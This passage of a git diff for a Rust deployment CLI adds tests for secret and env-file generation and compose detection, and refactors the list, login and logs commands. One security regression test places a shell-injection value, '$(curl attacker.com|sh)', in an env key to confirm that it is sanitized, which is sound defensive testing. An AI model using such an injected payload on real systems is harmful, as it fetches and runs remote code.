+        env_vars.insert("PUBLIC_VAR".to_string(), "default_value".to_string());
+        env_vars.insert("DB_PASSWORD".to_string(), "".to_string());
+        env_vars.insert("API_SECRET".to_string(), "".to_string());
+        env_vars.insert("APP_KEY".to_string(), "".to_string());
+
+        let output = generate_env_example_content(&env_vars);
+        assert!(output.contains("PUBLIC_VAR=default_value"));
+        assert!(output.contains("DB_PASSWORD="));
+        assert!(!output.contains("DB_PASSWORD=default_value")); // secrets stay empty
+        assert!(output.contains("API_SECRET="));
+        assert!(output.contains("APP_KEY="));
+    }
+
+    #[test]
+    fn test_generate_env_example_empty_vars_produces_header_only() {
+        let env_vars = std::collections::HashMap::new();
+        let output = generate_env_example_content(&env_vars);
+        assert!(output.contains("Copy to .env"));
+        assert!(output.contains("generate-secrets.sh"));
+    }
+
+    #[test]
+    fn test_is_secret_env_key() {
+        assert!(is_secret_env_key("DB_PASSWORD"));
+        assert!(is_secret_env_key("POSTGRES_PASSWORD"));
+        assert!(is_secret_env_key("api_secret"));
+        assert!(is_secret_env_key("APP_KEY"));
+        assert!(is_secret_env_key("ENCRYPTION_TOKEN"));
+        assert!(is_secret_env_key("JWT_SECRET"));
+        assert!(!is_secret_env_key("NODE_ENV"));
+        assert!(!is_secret_env_key("PORT"));
+        assert!(!is_secret_env_key("PUBLIC_VAR"));
+        assert!(!is_secret_env_key("LOG_LEVEL"));
+    }
+
+    #[test]
+    fn test_generate_secrets_script_only_missing_vars() {
+        let env_file = "DB_PASSWORD=\nAPI_KEY=\nREDIS_PASSWORD=already_set\n";
+        let script = generate_secrets_script_content(env_file);
+        assert!(script.contains("DB_PASSWORD"));
+        assert!(script.contains("API_KEY"));
+        // Already-set secret should NOT appear in generation commands
+        // (it's already filled, no need to regenerate)
+        assert!(!script.contains("REDIS_PASSWORD"));
+    }
+
+    // ── choose_primary_app edge cases ────────────────
+
+    #[test]
+    fn test_choose_primary_app_root_compose_no_root_app_returns_subdir_match() {
+        // Simulate: root has docker-compose.yml with service "webapp",
+        // but root has no DiscoveredApp (Custom without Dockerfile).
+        // Subdir "api/" has Cargo.toml + Dockerfile → DiscoveredApp { name: "api", ... }
+        // Subdir "webapp/" has no markers so no DiscoveredApp either.
+        //
+        // If root compose has services [webapp, postgres] and no DiscoveredApp
+        // matches "webapp", choose_primary_app falls through to first
+        // app with Dockerfile ("api") — but that's wrong. It should prefer
+        // the root context when compose lives at root.
+        let workspace = WorkspaceDetection {
+            root: ProjectDetection {
+                app_type: AppType::Custom,
+                has_dockerfile: false,
+                has_compose: true,
+                has_env_file: false,
+                detected_files: vec!["docker-compose.yml".to_string()],
+            },
+            apps: vec![DiscoveredApp {
+                name: "api".to_string(),
+                path: PathBuf::from("api"),
+                app_type: AppType::Rust,
+                has_dockerfile: true,
+                dockerfile: Some(PathBuf::from("api/Dockerfile")),
+                detected_files: vec!["Cargo.toml".to_string()],
+            }],
+            compose_stacks: vec![ComposeStack {
+                path: PathBuf::from("docker-compose.yml"),
+                services: vec!["webapp".to_string(), "postgres".to_string()],
+                detected_services: vec![
+                    DetectedComposeService {
+                        name: "webapp".to_string(),
+                        image: Some("floci/floci:latest".to_string()),
+                        ports: vec!["8080:8080".to_string()],
+                        environment: std::collections::HashMap::new(),
+                        volumes: vec![],
+                        depends_on: vec!["postgres".to_string()],
+                    },
+                    DetectedComposeService {
+                        name: "postgres".to_string(),
+                        image: Some("postgres:16-alpine".to_string()),
+                        ports: vec![],
+                        environment: std::collections::HashMap::new(),
+                        volumes: vec![],
+                        depends_on: vec![],
+                    },
+                ],
+            }],
+            recommended_compose_file: Some(PathBuf::from("docker-compose.yml")),
+        };
+
+        let primary = choose_primary_app(&workspace);
+        // The compose is at root with service "webapp" that isn't a
+        // DiscoveredApp (root has no language markers). We must NOT fall
+        // back to "api" — that's a subdirectory Rust crate that has
+        // nothing to do with the webapp service.
+        //
+        // The correct behavior: since the compose is at root, select the
+        // root context (None = use root project defaults, app type Custom).
+        // OR: create a synthetic root app from the compose service.
+        assert!(
+            primary.is_none() || primary.unwrap().name != "api",
+            "Must not select subdirectory 'api' when root compose defines an unrelated 'webapp' service"
+        );
+    }
+
+    #[test]
+    fn test_generate_config_from_github_strips_compose_file() {
+        // Simulate a project like floci-io/floci: root has
+        // docker-compose.yml + Dockerfile but no language markers.
+        let dir = setup_dir_with_nested_files(&[
+            ("Dockerfile", "FROM node:20-alpine\nWORKDIR /app\nCMD [\"node\", \"server.js\"]"),
+            (
+                "docker-compose.yml",
+                "services:\n  floci:\n    build: .\n    ports:\n      - \"8080:8080\"\n  postgres:\n    image: postgres:16-alpine\n    environment:\n      POSTGRES_PASSWORD: secret\n",
+            ),
+        ]);
+
+        let result = generate_config(dir.path(), None, false, false, false);
+        assert!(result.is_ok());
+
+        let config = StackerConfig::from_file(&result.unwrap()).unwrap();
+        // The compose file path is set during detection but cannot be
+        // relied upon by the user (it references a path from the cloned
+        // temp dir that no longer exists). The config should NOT have
+        // a compose_file set when generated via --from-github.
+        //
+        // For now, we test the local path: when root has a compose, the
+        // generated config MUST be valid and deployable.
+        assert!(
+            !config.services.is_empty(),
+            "Should have imported postgres as a service"
+        );
+        let postgres = config
+            .services
+            .iter()
+            .find(|s| s.name == "postgres")
+            .unwrap();
+        assert_eq!(postgres.image, "postgres:16-alpine");
+    }
+    // ── Security regression tests ────────────────────────────
+
+    #[test]
+    fn secrets_script_rejects_keys_with_shell_metacharacters() {
+        // Bug: keys containing $(...) are interpolated verbatim into bash
+        // double-quoted strings, enabling shell injection.
+        let env_file_content = "DB_$(curl attacker.com|sh)_SECRET=\nNORMAL_SECRET=\n";
+        let script = generate_secrets_script_content(env_file_content);
+
+        // The malicious key must NOT appear in the script in a form that
+        // would be executed (i.e. the subshell expansion must be absent).
+        assert!(
+            !script.contains("$(curl attacker.com|sh)"),
+            "Shell metacharacter injection must be sanitized or skipped; \
+             script contains unquoted subshell expansion: {:?}",
+            &script[..script.len().min(400)]
+        );
+
+        // Valid keys must still be processed.
+        assert!(
+            script.contains("NORMAL_SECRET"),
+            "Valid secret keys should still appear in the script"
+        );
+    }
+
+    #[test]
+    fn convert_compose_to_stacker_skips_null_service_entries() {
+        // Bug: `?` inside the for-loop returns None for the whole function
+        // when any service entry has a null/non-mapping value.
+        let yaml = "version: '3.8'\nservices:\n  app:\n    image: myapp/myapp:latest\n    ports:\n      - \"8080:8080\"\n  broken_service: ~\n";
+        let result = convert_compose_to_stacker(yaml, "myapp");
+        assert!(
+            result.is_some(),
+            "convert_compose_to_stacker must return Some even when a service \
+             entry has a null value; currently returns None due to early ? propagation"
+        );
+    }
+
+    #[test]
+    fn sanitize_ai_config_clears_dockerfile_for_official_docker_hub_image() {
+        // Bug: `svc.image.contains('/')` is false for official Docker Hub images
+        // like `redis:7`, so `app.dockerfile` is never cleared when those
+        // services are promoted to app.image.
+        let mut config = StackerConfig {
+            name: "myapp".to_string(),
+            app: crate::cli::config_parser::AppSource {
+                app_type: AppType::Custom,
+                image: None,
+                dockerfile: Some(PathBuf::from("Dockerfile")),
+                ..Default::default()
+            },
+            services: vec![crate::cli::config_parser::ServiceDefinition {
+                name: "myapp".to_string(),
+                image: "redis:7".to_string(),
+                ports: vec![],
+                environment: Default::default(),
+                volumes: vec![],
+                depends_on: vec![],
+                command: None,
+                healthcheck: None,
+            }],
+            ..Default::default()
+        };
+
+        sanitize_ai_config(&mut config, "myapp");
+
+        assert_eq!(
+            config.app.image,
+            Some("redis:7".to_string()),
+            "Service image should be promoted to app.image"
+        );
+        assert_eq!(
+            config.app.dockerfile, None,
+            "dockerfile must be cleared when promoting a service image \
+             even when the image name contains no '/' (e.g. official Docker Hub images)"
+        );
+    }
+
+    #[test]
+    fn sanitize_ai_config_promotes_generic_service_name_as_main_app() {
+        // Bug: promotion condition `svc.name == repo_name` misses common AI
+        // service names like "app", "web", "server", "api".  When the AI
+        // names the main service "app" but the repo is "myapp", the service
+        // is never promoted → app.image stays None → E003 on deploy.
+        let mut config = StackerConfig {
+            name: "myapp".to_string(),
+            app: crate::cli::config_parser::AppSource {
+                app_type: AppType::Custom,
+                image: None,
+                ..Default::default()
+            },
+            services: vec![crate::cli::config_parser::ServiceDefinition {
+                name: "app".to_string(),
+                image: "myorg/myapp:latest".to_string(),
+                ports: vec![],
+                environment: Default::default(),
+                volumes: vec![],
+                depends_on: vec![],
+                command: None,
+                healthcheck: None,
+            }],
+            ..Default::default()
+        };
+
+        sanitize_ai_config(&mut config, "myapp");
+
+        assert_eq!(
+            config.app.image,
+            Some("myorg/myapp:latest".to_string()),
+            "A service named 'app' should be promoted as the main app image \
+             when app.image is None and the service name is a common generic alias"
+        );
+    }
 }
diff --git a/src/console/commands/cli/list.rs b/src/console/commands/cli/list.rs
index e60cbbec..c06a16de 100644
--- a/src/console/commands/cli/list.rs
+++ b/src/console/commands/cli/list.rs
@@ -1,8 +1,7 @@
-use crate::cli::credentials::CredentialsManager;
-use crate::cli::error::CliError;
 use crate::cli::progress;
-use crate::cli::stacker_client::{self, StackerClient};
+use crate::cli::runtime::CliRuntime;
 use crate::console::commands::CallableTrait;
+use std::fmt::Write as _;
 
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // list projects
@@ -24,19 +23,10 @@ impl ListProjectsCommand {
 impl CallableTrait for ListProjectsCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let json = self.json;
+        let ctx = CliRuntime::new("list projects")?;
 
-        let cred_manager = CredentialsManager::with_default_store();
-        let creds = cred_manager.require_valid_token("list projects")?;
-        let base_url = stacker_client::DEFAULT_STACKER_URL.to_string();
-
-        let rt = tokio::runtime::Builder::new_current_thread()
-            .enable_all()
-            .build()
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
-
-        rt.block_on(async {
-            let client = StackerClient::new(&base_url, &creds.access_token);
-            let projects = client.list_projects().await?;
+        ctx.block_on(async {
+            let projects = ctx.client.list_projects().await?;
 
             if projects.is_empty() {
                 eprintln!("No projects found.");
@@ -91,19 +81,10 @@ impl ListServersCommand {
 impl CallableTrait for ListServersCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let json = self.json;
+        let ctx = CliRuntime::new("list servers")?;
 
-        let cred_manager = CredentialsManager::with_default_store();
-        let creds = cred_manager.require_valid_token("list servers")?;
-        let base_url = stacker_client::DEFAULT_STACKER_URL.to_string();
-
-        let rt = tokio::runtime::Builder::new_current_thread()
-            .enable_all()
-            .build()
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
-
-        rt.block_on(async {
-            let client = StackerClient::new(&base_url, &creds.access_token);
-            let servers = client.list_servers().await?;
+        ctx.block_on(async {
+            let servers = ctx.client.list_servers().await?;
 
             if servers.is_empty() {
                 eprintln!("No servers found.");
@@ -156,29 +137,24 @@ pub struct ListDeploymentsCommand {
 
 impl ListDeploymentsCommand {
     pub fn new(json: bool, project_id: Option<i32>, limit: Option<i64>) -> Self {
-        Self { json, project_id, limit }
+        Self {
+            json,
+            project_id,
+            limit,
+        }
     }
 }
 
 impl CallableTrait for ListDeploymentsCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let json = self.json;
-
-        let cred_manager = CredentialsManager::with_default_store();
-        let creds = cred_manager.require_valid_token("list deployments")?;
-        let base_url = stacker_client::DEFAULT_STACKER_URL.to_string();
-
-        let rt = tokio::runtime::Builder::new_current_thread()
-            .enable_all()
-            .build()
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
+        let ctx = CliRuntime::new("list deployments")?;
 
         let project_id = self.project_id;
         let limit = self.limit;
 
-        rt.block_on(async {
-            let client = StackerClient::new(&base_url, &creds.access_token);
-            let deployments = client.list_deployments(project_id, limit).await?;
+        ctx.block_on(async {
+            let deployments = ctx.client.list_deployments(project_id, limit).await?;
 
             if deployments.is_empty() {
                 eprintln!("No deployments found.");
@@ -188,24 +164,7 @@ impl CallableTrait for ListDeploymentsCommand {
             if json {
                 println!("{}", serde_json::to_string_pretty(&deployments)?);
             } else {
-                println!(
-                    "{:<6} {:<10} {:<10} {:<47} {:<12}",
-                    "ID", "PROJECT", "STATUS", "DEPLOYMENT HASH", "CREATED"
-                );
-                println!("{}", "─".repeat(90));
-
-                for d in &deployments {
-                    println!(
-                        "{:<6} {:<10} {} {:<8} {:<47} {:<12}",
-                        d.id,
-                        d.project_id,
-                        progress::status_icon(&d.status),
-                        truncate(&d.status, 7),
-                        &d.deployment_hash,
-                        truncate(&d.created_at, 10),
-                    );
-                }
-
+                print!("{}", render_deployments_table(&deployments));
                 eprintln!("\n{} deployment(s) total.", deployments.len());
             }
 
@@ -235,19 +194,10 @@ impl ListSshKeysCommand {
 impl CallableTrait for ListSshKeysCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let json = self.json;
+        let ctx = CliRuntime::new("list ssh-keys")?;
 
-        let cred_manager = CredentialsManager::with_default_store();
-        let creds = cred_manager.require_valid_token("list ssh-keys")?;
-        let base_url = stacker_client::DEFAULT_STACKER_URL.to_string();
-
-        let rt = tokio::runtime::Builder::new_current_thread()
-            .enable_all()
-            .build()
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
-
-        rt.block_on(async {
-            let client = StackerClient::new(&base_url, &creds.access_token);
-            let servers = client.list_servers().await?;
+        ctx.block_on(async {
+            let servers = ctx.client.list_servers().await?;
 
             if servers.is_empty() {
                 eprintln!("No servers found (SSH keys are managed per-server).");
@@ -281,7 +231,10 @@ impl CallableTrait for ListSshKeysCommand {
                 let mut active_count = 0;
                 for s in &servers {
                     let status_icon = match s.key_status.as_str() {
-                        "active" => { active_count += 1; "✓ active" },
+                        "active" => {
+                            active_count += 1;
+                            "✓ active"
+                        }
                         "pending" => "◷ pending",
                         "failed" => "✗ failed",
                         _ => "  none",
@@ -291,7 +244,9 @@ impl CallableTrait for ListSshKeysCommand {
                         s.id,
                         truncate(&s.name.clone().unwrap_or_else(|| "-".to_string()), 18),
                         s.srv_ip.clone().unwrap_or_else(|| "-".to_string()),
-                        s.ssh_port.map(|p| p.to_string()).unwrap_or_else(|| "22".to_string()),
+                        s.ssh_port
+                            .map(|p| p.to_string())
+                            .unwrap_or_else(|| "22".to_string()),
                         s.ssh_user.clone().unwrap_or_else(|| "root".to_string()),
                         status_icon,
                         &s.connection_mode,
@@ -322,6 +277,36 @@ fn truncate(s: &str, max_len: usize) -> String {
     }
 }
 
+fn render_deployments_table(
+    deployments: &[crate::cli::stacker_client::DeploymentStatusInfo],
+) -> String {
+    let mut table = String::new();
+    let _ = writeln!(
+        &mut table,
+        "{:<6} {:<10} {:<16} {:<47} {:<20}",
+        "ID", "PROJECT", "STATUS", "DEPLOYMENT HASH", "CREATED"
+    );
+    let _ = writeln!(&mut table, "{}", "─".repeat(104));
+
+    for deployment in deployments {
+        let _ = writeln!(
+            &mut table,
+            "{:<6} {:<10} {:<16} {:<47} {:<20}",
+            deployment.id,
+            deployment.project_id,
+            format!(
+                "{} {}",
+                progress::status_icon(&deployment.status),
+                deployment.status
+            ),
+            deployment.deployment_hash,
+            deployment.created_at,
+        );
+    }
+
+    table
+}
+
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 // list clouds
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
@@ -343,24 +328,19 @@ impl ListCloudsCommand {
 impl CallableTrait for ListCloudsCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let json = self.json;
+        let ctx = CliRuntime::new("list clouds")?;
 
-        let cred_manager = CredentialsManager::with_default_store();
-        let creds = cred_manager.require_valid_token("list clouds")?;
-        let base_url = stacker_client::DEFAULT_STACKER_URL.to_string();
-
-        let rt = tokio::runtime::Builder::new_current_thread()
-            .enable_all()
-            .build()
-            .map_err(|e| CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)))?;
-
-        rt.block_on(async {
-            let client = StackerClient::new(&base_url, &creds.access_token);
-            let clouds = client.list_clouds().await?;
+        ctx.block_on(async {
+            let clouds = ctx.client.list_clouds().await?;
 
             if clouds.is_empty() {
                 eprintln!("No saved cloud credentials found.");
-                eprintln!("Cloud credentials are saved automatically when you deploy with env vars,");
-                eprintln!("or via: stacker deploy --target cloud (with HCLOUD_TOKEN, etc. exported).");
+                eprintln!(
+                    "Cloud credentials are saved automatically when you deploy with env vars,"
+                );
+                eprintln!(
+                    "or via: stacker deploy --target cloud (with HCLOUD_TOKEN, DIGITALOCEAN_TOKEN, LINODE_TOKEN, VULTR_API_KEY, or AWS credentials exported)."
+                );
                 return Ok(());
             }
 
@@ -410,3 +390,30 @@ impl CallableTrait for ListCloudsCommand {
         })
     }
 }
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::cli::stacker_client::DeploymentStatusInfo;
+
+    #[test]
+    fn render_deployments_table_keeps_full_status_and_timestamp() {
+        let deployments = vec![DeploymentStatusInfo {
+            id: 114,
+            project_id: 229,
+            deployment_hash: "deployment_5cc15f7d-8c87-464a-a7c5-ee6116201f22".to_string(),
+            status: "completed".to_string(),
+            status_message: Some("done".to_string()),
+            created_at: "2026-05-06 00:35:31".to_string(),
+            updated_at: "2026-05-06 00:36:31".to_string(),
+        }];
+
+        let rendered = render_deployments_table(&deployments);
+
+        assert!(rendered.contains("✓ completed"));
+        assert!(rendered.contains("2026-05-06 00:35:31"));
+        assert!(rendered.contains("deployment_5cc15f7d-8c87-464a-a7c5-ee6116201f22"));
+        assert!(!rendered.contains("comple…"));
+        assert!(!rendered.contains("2026-05-0…"));
+    }
+}
diff --git a/src/console/commands/cli/login.rs b/src/console/commands/cli/login.rs
index fce156c4..fd36afbb 100644
--- a/src/console/commands/cli/login.rs
+++ b/src/console/commands/cli/login.rs
@@ -1,33 +1,77 @@
 use std::io::{self, IsTerminal};
 
-use crate::console::commands::CallableTrait;
 use crate::cli::credentials::{
-    CredentialsManager, HttpOAuthClient, LoginRequest, login,
+    browser_login, login, CredentialsManager, HttpOAuthClient, LoginRequest,
 };
-use dialoguer::Password;
-
-/// `stacker login [--org <name>] [--domain <domain>] [--auth-url <url>]`
-///
-/// Authenticates with the TryDirect platform via OAuth2 and stores
-/// credentials in `~/.config/stacker/credentials.json`.
-///
-/// Prompts for email on stdin and masks password input when interactive.
+use crate::cli::user_config::UserConfig;
+use crate::console::commands::CallableTrait;
+use dialoguer::{Password, Select};
+
 pub struct LoginCommand {
     pub org: Option<String>,
     pub domain: Option<String>,
     pub auth_url: Option<String>,
+    pub server_url: Option<String>,
+    pub browser: bool,
+    /// Explicit --provider value; None means "ask interactively".
+    pub provider: Option<String>,
+    /// Pre-filled email for username/password flow; also disables browser flow.
+    pub user: Option<String>,
 }
 
 impl LoginCommand {
-    pub fn new(org: Option<String>, domain: Option<String>, auth_url: Option<String>) -> Self {
+    pub fn new(
+        org: Option<String>,
+        domain: Option<String>,
+        auth_url: Option<String>,
+        server_url: Option<String>,
+        browser: bool,
+        provider: Option<String>,
+        user: Option<String>,
+    ) -> Self {
         Self {
             org,
             domain,
             auth_url,
+            server_url,
+            browser, // raw flag only; browser_default() is applied in call()
+            provider,
+            user,
+        }
+    }
+
+    /// Returns the OAuth provider code to use, or `None` if the user chose
+    /// username/password from the interactive menu.
+    ///
+    /// Resolution order:
+    ///   1. `--provider <code>` flag → use it directly, no prompt.
+    ///   2. Interactive tty → show a Select menu.
+    ///   3. Non-interactive → fall back to the config/default value.
+    fn prompt_provider(&self) -> Result<Option<String>, Box<dyn std::error::Error>> {
+        if let Some(ref p) = self.provider {
+            return Ok(Some(p.clone()));
         }
+
+        if io::stdin().is_terminal() {
+            const PROVIDERS: &[(&str, Option<&str>)] = &[
+                ("Google", Some("gc")),
+                ("GitHub", Some("gh")),
+                ("Microsoft", Some("azu")),
+                ("Username / Password", None),
+            ];
+            let labels: Vec<&str> = PROVIDERS.iter().map(|(l, _)| *l).collect();
+            let idx = Select::new()
+                .with_prompt("Select auth provider")
+                .items(&labels)
+                .default(0)
+                .interact()
+                .map_err(|e| format!("Prompt error: {e}"))?;
+            return Ok(PROVIDERS[idx].1.map(str::to_string));
+        }
+
+        Ok(Some(UserConfig::load().provider_default()))
     }
 
-    /// Read a line from stdin (used for email/password prompts).
     fn read_line(prompt: &str) -> Result<String, Box<dyn std::error::Error>> {
         eprint!("{}", prompt);
         let mut input = String::new();
@@ -47,15 +91,88 @@ impl LoginCommand {
             Self::read_line(prompt)
         }
     }
+
+    fn resolve_auth_url(&self) -> Result<String, Box<dyn std::error::Error>> {
+        let cfg = UserConfig::load();
+        self.auth_url
+            .clone()
+            .or_else(|| std::env::var("STACKER_AUTH_URL").ok())
+            .or_else(|| std::env::var("STACKER_API_URL").ok())
+            .or_else(|| cfg.auth_url)
+            .ok_or_else(|| {
+                "Missing auth URL. Pass --auth-url <user-service-url> or set STACKER_AUTH_URL."
+                    .into()
+            })
+    }
+
+    fn resolve_server_url(&self) -> Result<String, Box<dyn std::error::Error>> {
+        let cfg = UserConfig::load();
+        self.server_url
+            .clone()
+            .or_else(|| std::env::var("STACKER_URL").ok())
+            .or_else(|| cfg.server_url)
+            .ok_or_else(|| {
+                "Missing Stacker API URL. Pass --server-url <stacker-api-url> or set STACKER_URL."
+                    .into()
+            })
+    }
 }
 
 impl CallableTrait for LoginCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
-        let email = Self::read_line("Email: ")?;
-        if email.is_empty() {
-            return Err("Email cannot be empty".into());
+        // --user/-u always means email/password; skip prompt and browser.
+        // --browser flag forces browser; on a tty, browser_default() from config applies.
+        // Piped stdin always falls back to email/password regardless of config.
+        let use_browser = self.user.is_none()
+            && (self.browser
+                || (io::stdin().is_terminal() && UserConfig::load().browser_default()));
+
+        if use_browser {
+            // Resolve provider — may show an interactive menu.
+            let provider = self.prompt_provider()?;
+
+            if let Some(provider) = provider {
+                let auth_url = self.resolve_auth_url()?;
+                let server_url = self.resolve_server_url()?;
+                let manager = CredentialsManager::with_default_store();
+
+                let creds = browser_login(
+                    &manager,
+                    &auth_url,
+                    &server_url,
+                    &provider,
+                    self.org.as_deref(),
+                    self.domain.as_deref(),
+                )?;
+
+                eprintln!("✓ {}", creds);
+                if let Some(org) = &creds.org {
+                    eprintln!("  Organization: {}", org);
+                }
+                if let Some(domain) = &creds.domain {
+                    eprintln!("  Domain: {}", domain);
+                }
+                if let Some(server_url) = &creds.server_url {
+                    eprintln!("  Stacker API: {}", server_url);
+                }
+                return Ok(());
+            }
+            // provider == None → user chose "Username / Password" from the menu;
+            // fall through to the email/password path below.
         }
 
+        // Email/password flow — email may be pre-filled via --user/-u.
+        let email = match self.user.as_deref() {
+            Some(e) if !e.is_empty() => e.to_string(),
+            _ => {
+                let e = Self::read_line("Email: ")?;
+                if e.is_empty() {
+                    return Err("Email cannot be empty".into());
+                }
+                e
+            }
+        };
+
         let password = Self::read_password("Password: ")?;
         if password.is_empty() {
             return Err("Password cannot be empty".into());
@@ -65,6 +182,7 @@ impl CallableTrait for LoginCommand {
             email,
             password,
             auth_url: self.auth_url.clone(),
+            server_url: self.server_url.clone(),
             org: self.org.clone(),
             domain: self.domain.clone(),
         };
@@ -81,6 +199,9 @@ impl CallableTrait for LoginCommand {
         if let Some(domain) = &creds.domain {
             eprintln!("  Domain: {}", domain);
         }
+        if let Some(server_url) = &creds.server_url {
+            eprintln!("  Stacker API: {}", server_url);
+        }
 
         Ok(())
     }
diff --git a/src/console/commands/cli/logs.rs b/src/console/commands/cli/logs.rs
index edf067c3..f5e89c04 100644
--- a/src/console/commands/cli/logs.rs
+++ b/src/console/commands/cli/logs.rs
@@ -1,11 +1,11 @@
+use std::fmt::Write as _;
 use std::path::Path;
 
 use crate::cli::error::CliError;
 use crate::cli::install_runner::{CommandExecutor, CommandOutput, ShellExecutor};
+use crate::cli::local_compose::resolve_local_compose_path;
 use crate::console::commands::CallableTrait;
 
-/// Output directory for generated artifacts.
-const OUTPUT_DIR: &str = ".stacker";
 const DEFAULT_CONFIG_FILE: &str = "stacker.yml";
 
 /// `stacker logs [--service <name>] [--follow] [--tail <n>] [--since <duration>]`
@@ -83,13 +83,7 @@ pub fn run_logs(
     since: Option<&str>,
     executor: &dyn CommandExecutor,
 ) -> Result<CommandOutput, CliError> {
-    let compose_path = project_dir.join(OUTPUT_DIR).join("docker-compose.yml");
-
-    if !compose_path.exists() {
-        return Err(CliError::ConfigValidation(
-            "No deployment found. Run 'stacker deploy' first.".to_string(),
-        ));
-    }
+    let compose_path = resolve_local_compose_path(project_dir)?;
 
     let compose_str = compose_path.to_string_lossy().to_string();
     let args = build_logs_args(&compose_str, service, follow, tail, since);
@@ -103,9 +97,8 @@ impl CallableTrait for LogsCommand {
     fn call(&self) -> Result<(), Box<dyn std::error::Error>> {
         let project_dir = std::env::current_dir()?;
 
-        // Try local first — if .stacker/docker-compose.yml exists, use docker compose logs
-        let compose_path = project_dir.join(OUTPUT_DIR).join("docker-compose.yml");
-        if compose_path.exists() {
+        // Try local first — use the same compose resolution logic as local deploy/status.
+        if resolve_local_compose_path(&project_dir).is_ok() {
             let executor = ShellExecutor;
             let output = run_logs(
                 &project_dir,
@@ -125,10 +118,7 @@ impl CallableTrait for LogsCommand {
 
         // No local compose — try remote agent logs
         if is_remote_deployment(&project_dir) {
-            return run_remote_logs(
-                self.service.as_deref(),
-                self.tail,
-            );
+            return run_remote_logs(self.service.as_deref(), self.tail);
         }
 
         // Neither local nor remote
@@ -169,16 +159,16 @@ fn is_remote_deployment(project_dir: &Path) -> bool {
 
     // 2. stacker.yml declares cloud/server target
     let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
-    if let Ok(content) = std::fs::read_to_string(&config_path) {
-        if let Ok(config) = serde_yaml::from_str::<StackerConfig>(&content) {
-            if config.deploy.target == DeployTarget::Cloud {
+    if let Ok(config) = StackerConfig::from_file(&config_path)
+        .and_then(|config| config.with_resolved_deploy_target(None))
+    {
+        if config.deploy.target == DeployTarget::Cloud {
+            return true;
+        }
+        if let Some(cloud_cfg) = &config.deploy.cloud {
+            if cloud_cfg.orchestrator == CloudOrchestrator::Remote {
                 return true;
             }
-            if let Some(cloud_cfg) = &config.deploy.cloud {
-                if cloud_cfg.orchestrator == CloudOrchestrator::Remote {
-                    return true;
-                }
-            }
         }
     }
 
@@ -199,10 +189,19 @@ fn resolve_deployment_hash(ctx: &CliRuntime) -> Result<String, CliError> {
         }
     }
 
-    // 2. stacker.yml project → active agent (most recent heartbeat)
+    // 2. stacker.yml explicit deployment hash
     let config_path = project_dir.join(DEFAULT_CONFIG_FILE);
     if config_path.exists() {
-        if let Ok(config) = crate::cli::config_parser::StackerConfig::from_file(&config_path) {
+        if let Ok(config) = crate::cli::config_parser::StackerConfig::from_file(&config_path)
+            .and_then(|config| config.with_resolved_deploy_target(None))
+        {
+            if let Some(hash) = config.deploy.deployment_hash.as_ref() {
+                if !hash.trim().is_empty() {
+                    return Ok(hash.clone());
+                }
+            }
+
+            // 3. stacker.yml project → active agent (most recent heartbeat)
             if let Some(ref project_name) = config.project.identity {
                 let project = ctx.block_on(ctx.client.find_project_by_name(project_name))?;
                 if let Some(proj) = project {
@@ -246,34 +245,43 @@ fn run_remote_logs(
     let app_codes: Vec<String> = if let Some(svc) = service {
         vec![svc.to_string()]
     } else {
-        // Fetch snapshot to discover all running containers
-        let pb = progress::spinner("Discovering containers");
-        match ctx.block_on(ctx.client.agent_snapshot(&hash)) {
-            Ok(snap) => {
-                progress::finish_success(&pb, "Containers discovered");
-                snap.get("containers")
-                    .and_then(|v| v.as_array())
-                    .map(|arr| {
-                        arr.iter()
-                            .filter_map(|c| c.get("name").and_then(|n| n.as_str()))
-                            .map(|s| s.to_string())
-                            .collect()
-                    })
-                    .unwrap_or_default()
-            }
-            Err(e) => {
-                progress::finish_error(&pb, &format!("Could not discover containers: {}", e));
-                return Err(Box::new(e));
-            }
+        // Discover running containers via a live list_containers command.
+        let params = crate::forms::status_panel::ListContainersCommandRequest {
+            include_health: false,
+            include_logs: false,
+            log_lines: 0,
+        };
+        let request = AgentEnqueueRequest::new(&hash, "list_containers")
+            .with_parameters(&params)
+            .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?;
+        let info = run_remote_agent_command(
+            &ctx,
+            &request,
+            "Discovering containers",
+            REMOTE_TIMEOUT_SECS,
+        )?;
+        if info.status != "completed" {
+            let (summary, tip) = no_containers_messages(&hash);
+            eprintln!("{}", summary);
+            eprintln!("{}", tip);
+            return Ok(());
         }
+        info.result
+            .as_ref()
+            .and_then(|r| r.get("containers").and_then(|v| v.as_array()))
+            .map(|arr| {
+                arr.iter()
+                    .filter_map(|c| c.get("name").and_then(|n| n.as_str()))
+                    .map(|s| s.to_string())
+                    .collect()
+            })
+            .unwrap_or_default()
     };
 
     if app_codes.is_empty() {
-        eprintln!("No containers found for deployment {}.", &hash[..8.min(hash.len())]);
-        eprintln!(
-            "Tip: use 'stacker agent status --deployment {}' to check the deployment.",
-            &hash[..8.min(hash.len())]
-        );
+        let (summary, tip) = no_containers_messages(&hash);
+        eprintln!("{}", summary);
+        eprintln!("{}", tip);
         return Ok(());
     }
 
@@ -301,6 +309,18 @@ fn run_remote_logs(
     Ok(())
 }
 
+fn no_containers_messages(hash: &str) -> (String, String) {
+    let mut summary = String::new();
+    let mut tip = String::new();
+    let _ = write!(&mut summary, "No containers found for deployment {}.", hash);
+    let _ = write!(
+        &mut tip,
+        "Tip: use 'stacker agent status --deployment {}' to check the deployment.",
+        hash
+    );
